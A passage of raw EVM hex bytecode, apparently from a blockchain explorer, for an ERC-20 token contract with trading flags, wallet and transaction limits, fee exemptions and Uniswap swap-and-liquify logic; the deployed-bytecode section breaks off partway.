70e578160001904821115620006f257620006f2620006b7565b808516156200070057918102915b93841c9390800290620006d2565b509250929050565b600082620007275750600162000457565b81620007365750600062000457565b81600181146200074f57600281146200075a576200077a565b600191505062000457565b60ff8411156200076e576200076e620006b7565b50506001821b62000457565b5060208310610133831016604e8410600b84101617156200079f575081810a62000457565b620007ab8383620006cd565b8060001904821115620007c257620007c2620006b7565b029392505050565b60006200045460ff84168362000716565b8082028115828204841417620004575762000457620006b7565b6000826200081357634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004575762000457620006b7565b600060208083528351808285015260005b818110156200085d578581018301518582016040015282016200083f565b506000604082860101526040601f19601f8301168501019250505092915050565b60805160a051612158620008b2600039600081816102ca01526109b80152600081816103d201526109f301526121586000f3fe6080604052600436106102815760003560e01c8063852614851161014f578063a9059cbb116100c1578063dd62ed3e1161007a578063dd62ed3e146107a1578063e52fb569146107e7578063f0cd1dac146107ef578063f2fde38b14610805578063f680f79914610825578063f872858a1461083b57600080fd5b8063a9059cbb146106ed578063c5d241891461070d578063c860795214610723578063c867d60b14610739578063da00097d14610769578063dc44b6a01461078b57600080fd5b806395d89b411161011357806395d89b411461064d57806398e944c814610662578063a1a6f5f314610682578063a457c2d714610697578063a7251ef6146106b7578063a8b08982146106cd57600080fd5b806385261485146105a957806388790a68146105c95780638b42507f146105df5780638da5cb5b1461060f5780638ea5220f1461062d57600080fd5b806339509351116101f357806359927044116101ac57806359927044146104fc5780636c0a24eb1461051c57806370a0823114610532578063715018a6146105685780637d1db4a51461057d57806382eefb431461059357600080fd5b8063395093511461042b5780633ecad2711461044b5780634a74bb021461047b5780634ada218b1461049c5780635194f9bf146104b65780635342acb4146104cc57600080fd5b806318160ddd1161024557806318160ddd1461036b57806323555d571461038a57806323b872dd146103a057806327c8f835146103c05780632b112e49146103f4578063313ce5671461040957600080fd5b806306fdde031461028d5780630930907b146102b8578063095ea7b314610304578063125a390f146103345780631694505e1461034b57600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a261085a565b6040516102af9190611d8b565b60405180910390f35b3480156102c457600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102af565b34801561031057600080fd5b5061032461031f366004611df1565b6108ec565b60405190151581526020016102af565b34801561034057600080fd5b50610349610903565b005b34801561035757600080fd5b506001546102ec906001600160a01b031681565b34801561037757600080fd5b506010545b6040519081526020016102af565b34801561039657600080fd5b5061037c601a5481565b3480156103ac57600080fd5b506103246103bb366004611e1d565b610943565b3480156103cc57600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b34801561040057600080fd5b5061037c6109ae565b34801561041557600080fd5b5060085460405160ff90911681526020016102af565b34801561043757600080fd5b50610324610446366004611df1565b610a41565b34801561045757600080fd5b50610324610466366004611e5e565b600d6020526000908152604090205460ff1681565b34801561048757600080fd5b50601754610324906301000000900460ff1681565b3480156104a857600080fd5b50600b546103249060ff1681565b3480156104c257600080fd5b5061037c601d5481565b3480156104d857600080fd5b506103246104e7366004611e5e565b600c6020526000908152604090205460ff1681565b34801561050857600080fd5b506003546102ec906001600160a01b031681565b34801561052857600080fd5b5061037c60135481565b34801561053e57600080fd5b5061037c61054d366004611e5e565b6001600160a01b031660009081526009602052604090205490565b34801561057457600080fd5b50610349610a77565b34801561058957600080fd5b5061037c60125481565b34801561059f57600080fd5b5061037c60165481565b3480156105b557600080fd5b506017546103249062010000900460ff1681565b3480156105d557600080fd5b5061037c601b5481565b3480156105eb57600080fd5b506103246105fa366004611e5e565b600f6020526000908152604090205460ff1681565b34801561061b57600080fd5b506000546001600160a01b03166102ec565b34801561063957600080fd5b506004546102ec906001600160a01b031681565b34801561065957600080fd5b506102a2610af1565b34801561066e57600080fd5b506005546102ec906001600160a01b031681565b34801561068e57600080fd5b50610349610b00565b3480156106a357600080fd5b506103246106b2366004611df1565b610b39565b3480156106c357600080fd5b5061037c60115481565b3480156106d957600080fd5b506002546102ec906001600160a01b031681565b3480156106f957600080fd5b50610324610708366004611df1565b610b88565b34801561071957600080fd5b5061037c60195481565b34801561072f57600080fd5b5061037c601c5481565b34801561074557600080fd5b50610324610754366004611e5e565b600e6020526000908152604090205460ff1681565b34801561077557600080fd5b5060175461032490640100000000900460ff1681565b34801561079757600080fd5b5061037c60185481565b3480156107ad57600080fd5b5061037c6107bc366004611e7b565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b610349610b95565b3480156107fb57600080fd5b5061037c60155481565b34801561081157600080fd5b50610349610820366004611e5e565b610e56565b34801561083157600080fd5b5061037c60145481565b34801561084757600080fd5b5060175461032490610100900460ff1681565b60606006805461086990611eb4565b80601f016020809104026020016040519081016040528092919081815260200182805461089590611eb4565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b60006108f9338484610f40565b5060015b92915050565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161092d90611eee565b60405180910390fd5b6010546012819055601355565b6000610950848484611064565b506109a3843361099e856040518060600160405280602881526020016120d6602891396001600160a01b038a166000908152600a60209081526040808320338452909152902054919061156d565b610f40565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260096020526040812054610a3c90610a36610a2d7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526009602052604090205490565b601054906115a7565b906115a7565b905090565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916108f991859061099e90866115e9565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161092d90611eee565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60606007805461086990611eb4565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260040161092d90611eee565b600b805460ff19166001179055565b60006108f9338461099e856040518060600160405280602581526020016120fe60259139336000908152600a602090815260408083206001600160a01b038d168452909152902054919061156d565b60006109a3338484611064565b6000546001600160a01b03163314610bbf5760405162461bcd60e51b815260040161092d90611eee565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3a9190611f23565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cab9190611f23565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c9190611f23565b600280546001600160a01b039283166001600160a01b03199182161782556001805485851690831681178255306000818152600a602090815260408083209483529381528382206000199055865488168252600d8152838220805460ff199081168717909155875489168352600e82528483208054821687179055965488168252600f90529190912080549094168217909355600580549092163317909155549091169063f305d719903490610de7816001600160a01b031660009081526009602052604090205490565b60008033426040518863ffffffff1660e01b8152600401610e0d96959493929190611f40565b60606040518083038185885af1158015610e2b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e509190611f7b565b50505050565b6000546001600160a01b03163314610e805760405162461bcd60e51b815260040161092d90611eee565b6001600160a01b038116610ee55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161092d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fa25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161092d565b6001600160a01b0382166110035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161092d565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166110ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161092d565b6001600160a01b03831661112c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161092d565b6001600160a01b0384166000908152600c602052604090205460ff1615801561116e57506001600160a01b0383166000908152600c602052604090205460ff16155b156111bb57600b5460ff166111bb5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161092d565b6001600160a01b0384166000908152600c602052604090205460ff16806111fa57506001600160a01b0383166000908152600c602052604090205460ff165b156112275761122084848461120f8888611648565b61121957856116a1565b60006116a1565b90506109a7565b6001600160a01b0384166000908152600f602052604090205460ff1615801561126957506001600160a01b0383166000908152600f602052604090205460ff16155b801561127d575060175462010000900460ff165b156112e5576012548211156112e55760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161092d565b306000908152600960205260409020546011548110801590819061130c575060175460ff16155b801561133157506001600160a01b0386166000908152600d602052604090205460ff16155b801561134657506017546301000000900460ff165b1561136d57601754640100000000900460ff16156113645760115491505b61136d826117a3565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600990915291909120546113bf91869061156d565b6001600160a01b038716600090815260096020908152604080832093909355600c90529081205460ff168061140c57506001600160a01b0386166000908152600c602052604090205460ff165b6114205761141b87878761195e565b611422565b845b601754909150610100900460ff16801561145557506001600160a01b0386166000908152600e602052604090205460ff16155b156114e25760135461148682611480896001600160a01b031660009081526009602052604090205490565b906115e9565b11156114e25760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b606482015260840161092d565b6001600160a01b03861660009081526009602052604090205461150590826115e9565b6001600160a01b0380881660008181526009602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115599085815260200190565b60405180910390a3600193505050506109a7565b600081848411156115915760405162461bcd60e51b815260040161092d9190611d8b565b50600061159e8486611fbf565b95945050505050565b60006109a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156d565b6000806115f68385611fd2565b9050838110156109a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161092d565b6002546000906001600160a01b03838116911614801561167557506004546001600160a01b038481169116145b801561168957506001600160a01b03831615155b80156109a75750506001600160a01b03161515919050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526009909152918220546116f291849061156d565b6001600160a01b03808716600090815260096020526040808220939093559086168152205461172190846115e9565b6001600160a01b03851660009081526009602052604081209190915582900361174b576103e86014555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179091815260200190565b60405180910390a3506001949350505050565b6017805460ff191660011790556016546015546000916117c391906115e9565b905060006117de601b546018546115e990919063ffffffff16565b905060006117f9601c546019546115e990919063ffffffff16565b90506000611814600261180e86818988611a64565b90611ae6565b9050600061182286836115a7565b90504761182e82611b28565b600061183a47836115a7565b9050600061185361184c886002611ae6565b89906115a7565b90506000611868600261180e8481878d611a64565b9050600061188f8361180e6118886014548c611a6490919063ffffffff16565b8790611a64565b905060006118a182610a3687866115a7565b905081156118e5576003546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156118e3573d6000803e3d6000fd5b505b8015611927576004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611925573d6000803e3d6000fd5b505b6000831180156119375750600088115b15611946576119468884611cbb565b50506017805460ff1916905550505050505050505050565b6001600160a01b0383166000908152600d6020526040812054819060ff16156119a25761199b606461180e60155486611a6490919063ffffffff16565b90506119e0565b6001600160a01b0384166000908152600d602052604090205460ff16156119e0576119dd606461180e60165486611a6490919063ffffffff16565b90505b8015611a5a5730600090815260096020526040902054611a0090826115e9565b30600081815260096020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a519085815260200190565b60405180910390a35b61159e83826115a7565b600082600003611a76575060006108fd565b6000611a828385611fe5565b905082611a8f8583611ffc565b146109a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161092d565b60006109a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d5d565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b5d57611b5d61201e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611bb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bda9190611f23565b81600181518110611bed57611bed61201e565b6001600160a01b039283166020918202929092010152600154611c139130911684610f40565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c4c908590600090869030904290600401612078565b600060405180830381600087803b158015611c6657600080fd5b505af1158015611c7a573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611caf9291906120b4565b60405180910390a15050565b600154611cd39030906001600160a01b031684610f40565b60015460055460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d139230928992600092839216904290600401611f40565b60606040518083038185885af1158015611d31573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d569190611f7b565b5050505050565b60008183611d7e5760405162461bcd60e51b815260040161092d9190611d8b565b50600061159e8486611ffc565b600060208083528351808285015260005b81811015611db857858101830151858201604001528201611d9c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611dee57600080fd5b50565b60008060408385031215611e0457600080fd5b8235611e0f81611dd9565b946020939093013593505050565b600080600060608486031215611e3257600080fd5b8335611e3d81611dd9565b92506020840135611e4d81611dd9565b929592945050506040919091013590565b600060208284031215611e7057600080fd5b81356109a781611dd9565b60008060408385031215611e8e57600080fd5b8235611e9981611dd9565b91506020830135611ea981611dd9565b809150509250929050565b600181811c90821680611ec857607f821691505b602082108103611ee857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f3557600080fd5b81516109a781611dd9565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611f9057600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156108fd576108fd611fa9565b808201808211156108fd576108fd611fa9565b80820281158282048414176108fd576108fd611fa9565b60008261201957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b8381101561206d5781516001600160a01b031687529582019590820190600101612048565b509495945050505050565b85815284602082015260a06040820152600061209760a0830186612034565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006120cd6040830184612034565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fd50ab6df1bafdb0e326b326a08c2ad3b4ebbf7867d310ce2a7debee3f0c7a6964736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102815760003560e01c8063852614851161014f578063a9059cbb116100c1578063dd62ed3e1161007a578063dd62ed3e146107a1578063e52fb569146107e7578063f0cd1dac146107ef578063f2fde38b14610805578063f680f79914610825578063f872858a1461083b57600080fd5b8063a9059cbb146106ed578063c5d241891461070d578063c860795214610723578063c867d60b14610739578063da00097d14610769578063dc44b6a01461078b57600080fd5b806395d89b411161011357806395d89b411461064d57806398e944c814610662578063a1a6f5f314610682578063a457c2d714610697578063a7251ef6146106b7578063a8b08982146106cd57600080fd5b806385261485146105a957806388790a68146105c95780638b42507f146105df5780638da5cb5b1461060f5780638ea5220f1461062d57600080fd5b806339509351116101f357806359927044116101ac57806359927044146104fc5780636c0a24eb1461051c57806370a0823114610532578063715018a6146105685780637d1db4a51461057d57806382eefb431461059357600080fd5b8063395093511461042b5780633ecad2711461044b5780634a74bb021461047b5780634ada218b1461049c5780635194f9bf146104b65780635342acb4146104cc57600080fd5b806318160ddd1161024557806318160ddd1461036b57806323555d571461038a57806323b872dd146103a057806327c8f835146103c05780632b112e49146103f4578063313ce5671461040957600080fd5b806306fdde031461028d5780630930907b146102b8578063095ea7b314610304578063125a390f146103345780631694505e1461034b57600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a261085a565b6040516102af9190611d8b565b60405180910390f35b3480156102c457600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102af565b34801561031057600080fd5b5061032461031f366004611df1565b6108ec565b60405190151581526020016102af565b34801561034057600080fd5b50610349610903565b005b34801561035757600080fd5b506001546102ec906001600160a01b031681565b34801561037757600080fd5b506010545b6040519081526020016102af565b34801561039657600080fd5b5061037c601a5481565b3480156103ac57600080fd5b506103246103bb366004611e1d565b610943565b3480156103cc57600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561040057600080fd5b5061037c6109ae565b34801561041557600080fd5b5060085460405160ff90911681526020016102af565b34801561043757600080fd5b50610324610446366004611df1565b610a41565b34801561045757600080fd5b50610324610466366004611e5e565b600d6020526000908152604090205460ff1681565b34801561048757600080fd5b50601754610324906301000000900460ff1681565b3480156104a857600080fd5b50600b546103249060ff1681565b3480156104c257600080fd5b5061037c601d5481565b3480156104d857600080fd5b506103246104e7366004611e5e565b600c6020526000908152604090205460ff1681565b34801561050857600080fd5b506003546102ec906001600160a01b031681565b34801561052857600080fd5b5061037c60135481565b34801561053e57600080fd5b5061037c61054d366004611e5e565b6001600160a01b031660009081526009602052604090205490565b34801561057457600080fd5b50610349610a77565b34801561058957600080fd5b5061037c60125481565b34801561059f57600080fd5b5061037c60165481565b3480156105b557600080fd5b506017546103249062010000900460ff1681565b3480156105d557600080fd5b5061037c601b5481565b3480156105eb57600080fd5b506103246105fa366004611e5e565b600f6020526000908152604090205460ff1681565b34801561061b57600080fd5b506000546001600160a01b03166102ec565b34801561063957600080fd5b506004546102ec906001600160a01b031681565b34801561065957600080fd5b506102a2610af1565b34801561066e57600080fd5b506005546102ec906001600160a01b031681565b34801561068e57600080fd5b50610349610b00565b3480156106a357600080fd5b506103246106b2366004611df1565b610b39565b3480156106c357600080fd5b5061037c60115481565b3480156106d957600080fd5b506002546102ec906001600160a01b031681565b3480156106f957600080fd5b50610324610708366004611df1565b610b88565b34801561071957600080fd5b5061037c60195481565b34801561072f57600080fd5b5061037c601c5481565b34801561074557600080fd5b50610324610754366004611e5e565b600e6020526000908152604090205460ff1681565b34801561077557600080fd5b5060175461032490640100000000900460ff1681565b34801561079757600080fd5b5061037c60185481565b3480156107ad57600080fd5b5061037c6107bc366004611e7b565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b610349610b95565b3480156107fb57600080fd5b5061037c60155481565b34801561081157600080fd5b50610349610820366004611e5e565b610e56565b34801561083157600080fd5b5061037c60145481565b34801561084757600080fd5b5060175461032490610100900460ff1681565b60606006805461086990611eb4565b80601f016020809104026020016040519081016040528092919081815260200182805461089590611eb4565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b60006108f9338484610f40565b5060015b92915050565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161092d90611eee565b60405180910390fd5b6010546012819055601355565b6000610950848484611064565b506109a3843361099e856040518060600160405280602881526020016120d6602891396001600160a01b038a166000908152600a60209081526040808320338452909152902054919061156d565b610f40565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260096020526040812054610a3c90610a36610a2d7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526009602052604090205490565b601054906115a7565b906115a7565b905090565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916108f991859061099e90866115e9565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161092d90611eee565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60606007805461086990611eb4565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260040161092d90611eee565b600b805460ff19166001179055565b60006108f9338461099e856040518060600160405280602581526020016120fe60259139336000908152600a602090815260408083206001600160a01b038d168452909152902054919061156d565b60006109a3338484611064565b6000546001600160a01b03163314610bbf5760405162461bcd60e51b815260040161092d90611eee565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3a9190611f23565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cab9190611f23565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c9190611f23565b600280546001600160a01b039283166001600160a01b03199182161782556001805485851690831681178255306000818152600a602090815260408083209483529381528382206000199055865488168252600d8152838220805460ff199081168717909155875489168352600e82528483208054821687179055965488168252600f90529190912080549094168217909355600580549092163317909155549091169063f305d719903490610de7816001600160a01b031660009081526009602052604090205490565b60008033426040518863ffffffff1660e01b8152600401610e0d96959493929190611f40565b60606040518083038185885af1158015610e2b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e509190611f7b565b50505050565b6000546001600160a01b03163314610e805760405162461bcd60e51b815260040161092d90611eee565b6001600160a01b038116610ee55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161092d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fa25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161092d565b6001600160a01b0382166110035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161092d565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166110ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161092d565b6001600160a01b03831661112c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161092d565b6001600160a01b0384166000908152600c602052604090205460ff1615801561116e57506001600160a01b0383166000908152600c602052604090205460ff16155b156111bb57600b5460ff166111bb5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161092d565b6001600160a01b0384166000908152600c602052604090205460ff16806111fa57506001600160a01b0383166000908152600c602052604090205460ff165b156112275761122084848461120f8888611648565b61121957856116a1565b60006116a1565b90506109a7565b6001600160a01b0384166000908152600f602052604090205460ff1615801561126957506001600160a01b0383166000908152600f602052604090205460ff16155b801561127d575060175462010000900460ff165b156112e5576012548211156112e55760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161092d565b306000908152600960205260409020546011548110801590819061130c575060175460ff16155b801561133157506001600160a01b0386166000908152600d602052604090205460ff16155b801561134657506017546301000000900460ff165b1561136d57601754640100000000900460ff16156113645760115491505b61136d826117a3565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600990915291909120546113bf91869061156d565b6001600160a01b038716600090815260096020908152604080832093909355600c90529081205460ff168061140c57506001600160a01b0386166000908152600c602052604090205460ff165b6114205761141b87878761195e565b611422565b845b601754909150610100900460ff16801561145557506001600160a01b0386166000908152600e602052604090205460ff16155b156114e25760135461148682611480896001600160a01b031660009081526009602052604090205490565b906115e9565b11156114e25760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b606482015260840161092d565b6001600160a01b03861660009081526009602052604090205461150590826115e9565b6001600160a01b0380881660008181526009602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115599085815260200190565b60405180910390a3600193505050506109a7565b600081848411156115915760405162461bcd60e51b815260040161092d9190611d8b565b50600061159e8486611fbf565b95945050505050565b60006109a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156d565b6000806115f68385611fd2565b9050838110156109a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161092d565b6002546000906001600160a01b03838116911614801561167557506004546001600160a01b038481169116145b801561168957506001600160a01b03831615155b80156109a75750506001600160a01b03161515919050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526009909152918220546116f291849061156d565b6001600160a01b03808716600090815260096020526040808220939093559086168152205461172190846115e9565b6001600160a01b03851660009081526009602052604081209190915582900361174b576103e86014555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179091815260200190565b60405180910390a3506001949350505050565b6017805460ff191660011790556016546015546000916117c391906115e9565b905060006117de601b546018546115e990919063ffffffff16565b905060006117f9601c546019546115e990919063ffffffff16565b90506000611814600261180e86818988611a64565b90611ae6565b9050600061182286836115a7565b90504761182e82611b28565b600061183a47836115a7565b9050600061185361184c886002611ae6565b89906115a7565b90506000611868600261180e8481878d611a64565b9050600061188f8361180e6118886014548c611a6490919063ffffffff16565b8790611a64565b905060006118a182610a3687866115a7565b905081156118e5576003546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156118e3573d6000803e3d6000fd5b505b8015611927576004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611925573d6000803e3d6000fd5b505b6000831180156119375750600088115b15611946576119468884611cbb565b50506017805460ff1916905550505050505050505050565b6001600160a01b0383166000908152600d6020526040812054819060ff16156119a25761199b606461180e60155486611a6490919063ffffffff16565b90506119e0565b6001600160a01b0384166000908152600d602052604090205460ff16156119e0576119dd606461180e60165486611a6490919063ffffffff16565b90505b8015611a5a5730600090815260096020526040902054611a0090826115e9565b30600081815260096020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a519085815260200190565b60405180910390a35b61159e83826115a7565b600082600003611a76575060006108fd565b6000611a828385611fe5565b905082611a8f8583611ffc565b146109a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161092d565b60006109a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d5d565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b5d57611b5d61201e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611bb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bda9190611f23565b81600181518110611bed57611bed61201e565b6001600160a01b039283166020918202929092010152600154611c139130911684610f40565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c4c908590600090869030904290600401612078565b600060405180830381600087803b158015611c6657600080fd5b505af1158015611c7a573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611caf9291906120b4565b60405180910390a15050565b600154611cd39030906001600160a01b031684610f40565b60015460055460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d139230928992600092839216904290600401611f40565b60606040518083038185885af1158015611d31573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d569190611f7b565b5050505050565b60008183611d7e5760405162461bcd60e51b815260040161092d9190611d8b565b50600061159e8486611ffc565b600060208083528351808285015260005b81811015611db857858101830151858201604001528201611d9c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611dee57600080fd5b50565b60008060408385031215611e0457600080fd5b8235611e0f81611dd9565b946020939093013593505050565b600080600060608486031215611e3257600080fd5b8335611e3d81611dd9565b92506020840135611e4d81611dd9565b929592945050506040919091013590565b600060208284031215611e7057600080fd5b81356109a781611dd9565b60008060408385031215611e8e57600080fd5b8235611e9981611dd9565b91506020830135611ea981611dd9565b809150509250929050565b600181811c90821680611ec857607f821691505b602082108103611ee857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f3557600080fd5b81516109a781611dd9565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260